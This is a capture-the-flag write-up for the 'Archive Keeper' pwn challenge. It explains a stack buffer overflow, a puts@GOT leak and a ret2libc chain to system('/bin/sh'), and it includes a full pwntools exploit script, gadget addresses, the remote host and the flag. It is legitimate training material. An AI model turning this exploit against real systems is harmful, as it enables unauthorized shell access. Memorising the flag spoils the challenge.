Archive Keeper
-
Challenge: Archive Keeper (pwn)
-
Author: M0H1.T3L
-
Flag format: nexus{}
-
Connection: nc ctf.nexus-security.club 2711
Summary:
- This binary is a small non-PIE x86_64 ELF with an unbounded read from stdin into a fixed stack buffer. The exploit is a typical ret2libc: leak a libc address (puts), compute libc base, then call system("/bin/sh"). I used the provided
libc.so.6andld-linux-x86-64.so.2for local testing.
Files:
-
chall — target binary
-
libc.so.6 — provided libc (local testing)
-
ld-linux-x86-64.so.2 — provided loader (local testing)
-
exploit.py — the full exploit script (included below)
Recon / Binary Info
-
ELF, 64-bit, not stripped, no PIE, NX enabled, no stack canary, partial RELRO.
-
checksecoutput: RELRO: Partial, Canary: none, NX: enabled, PIE: No -
Important functions:
setup,vuln,main.vulnprints a welcome message and does areadinto a stack buffer.
Important functions & behavior
-
setupcallssetvbufon stdin/stdout/stderr (mode 2, _IONBF), which disables buffering and makes interactive exploitation more predictable. -
vulndoes:
- prints "Welcome to the Archive. Enter your data:" (string at .rodata)
- reads up to 0xc8 (200) bytes from stdin into a stack buffer (sub $0x40; lea -0x40(%rbp))
- then returns, so we can overflow the stack and overwrite the return address.
Finding the vulnerability
-
The read is unbounded to the stack buffer (200 limit > 64 buffer): The buffer is 0x40 (64) bytes on the stack but read allows 0xc8 bytes, making overflow possible.
-
We measured the offset from the buffer to the saved return address as 0x48 (0x40 buffer + 0x8 saved RBP).
ROP gadgets & strategy
-
No PIE, so program symbols are at fixed addresses.
-
Useful ROP gadget:
pop rdi; retat 0x40114a (used to set the first arg for puts and system). -
Also a
retgadget used for alignment: 0x401016. -
Plan:
1. Overwrite return address to call puts(puts@GOT), which prints the resolved address of puts in libc.
2. After printing, return to main to restart the program and accept a second payload.
3. Use leaked puts to compute libc base and find system and "/bin/sh".
4. Second stage: ROP chain calling system("/bin/sh"). For stack alignment and x86_64 ABI, we add ret before pop rdi.
Offsets and addresses
-
Buffer size: 0x40
-
Offset to return address: 0x48
-
POP_RDIgadget: 0x40114a -
RETalignment gadget: 0x401016 -
The code uses GOT/PLT addresses available via ELF (no PIE):
elf.got['puts'],elf.plt['puts'].
Exploit development
- I used
pwntoolsto craft the exploit and tested locally with the provided loader & libc:
./ld-linux-x86-64.so.2 --library-path . ./chall
- Use two-stage exploit:
- Stage 1: Leak puts address. Payload = 'A'*OFFSET + pop rdi; ret + puts@GOT + puts@plt + main.
- Parse output until prompt, extract the leaked pointer.
- Compute libc_base = leaked_puts - libc.sym['puts'].
- Stage 2: ROP chain to system("/bin/sh") and get a shell.
Exploit script
-
Full exploit file: exploit.py
-
Basic usage:
python3 exploit.pyfor local runs andpython3 exploit.py REMOTE=1for remote. -
To run a specific command (instead of an interactive shell), supply
CMDe.g.python3 exploit.py REMOTE=1 CMD='cat /challenge/flag.txt'.
Key implementation details
-
I used
io.recvuntil(b'data:')to synchronize with the program prompt. -
The first leak prints some raw bytes and a newline; the script collects the chunk until the welcome prompt returns, extracts the pointer bytes from the earliest non-prompt line, and converts them to a 64-bit value with
u64. -
We return to
mainafter leak to get a clean state to send second-stage payload.
Local testing & debugging notes
- For local testing we used the provided loader and libc to emulate the remote environment:
python3 exploit.py
# or
python3 exploit.py CMD='id'
- If you need to reproduce the local behavior exactly, run the binary with the supplied ld:
./ld-linux-x86-64.so.2 --library-path . ./chall
Remote exploitation
- To run against the challenge's remote host:
python3 exploit.py REMOTE=1 CMD='cat /challenge/flag.txt'
- This returned the flag:
nexus{B0ok_F0uND_L1BC_R3t}
Security notes / observations
-
Partial RELRO but no canaries, no PIE -> ROP & GOT overwrite is straightforward.
-
NX enabled prevented code injection; we used ROP instead.
-
setupdisabled buffering to make I/O deterministic for exploitation.
Exploit code (exploit.py)
from pwn import *
context.binary = elf = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld_path = './ld-linux-x86-64.so.2'
context.log_level = 'info'
OFFSET = 0x48
POP_RDI = 0x40114a
RET = 0x401016
def start():
if args.REMOTE:
return remote('ctf.nexus-security.club', 2711)
return process([ld_path, '--library-path', '.', elf.path])
def leak_puts(io):
io.recvuntil(b'data:')
payload = flat(
b'A' * OFFSET,
POP_RDI,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main'],
)
io.sendline(payload)
# The program prints the leak followed by a newline and the welcome prompt.
chunk = io.recvuntil(b'data:')
lines = [line for line in chunk.split(b'\n') if line]
# Choose the leaked pointer line (skip the welcome prompt line)
leak_line = next((line for line in lines if b'Welcome' not in line), b'')
leak_val = u64(leak_line.ljust(8, b'\x00'))
log.info(f'leaked puts: {hex(leak_val)}')
return leak_val
def exploit():
io = start()
leak_val = leak_puts(io)
libc.address = leak_val - libc.sym['puts']
log.info(f'libc base: {hex(libc.address)}')
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
payload = flat(
b'A' * OFFSET,
RET,
POP_RDI, binsh,
system,
)
io.sendline(payload)
if args.CMD:
io.sendline(args.CMD.encode())
io.sendline(b'exit')
output = io.recvall(timeout=2)
print(output.decode(errors='ignore'))
return
io.interactive()
if __name__ == '__main__':
exploit()
Final flag
- nexus{B0ok_F0uND_L1BC_R3t}
FAQ / Troubleshooting
-
Missing pwntools? Install with
pip3 install pwntools -
If
./ld-linux-x86-64.so.2isn't executable:chmod +x ld-linux-x86-64.so.2. -
When testing locally, be sure you run the binary with the given loader and library:
./ld-linux-x86-64.so.2 --library-path . ./chall
- The provided
libc.so.6matters — the remote host uses a different libc (but leak allows us to compute base at runtime). The same exploit works both locally and remotely.
Closing notes
- This challenge is a standard stack-based overflow with GOT/PLT leak + ret2libc chain exercise. Create a robust leak parser and keep things aligned for x86_64 ABI when calling
system.
If you'd like, I can also include a small requirements.txt and a run.sh with example commands to automate local/remote testing.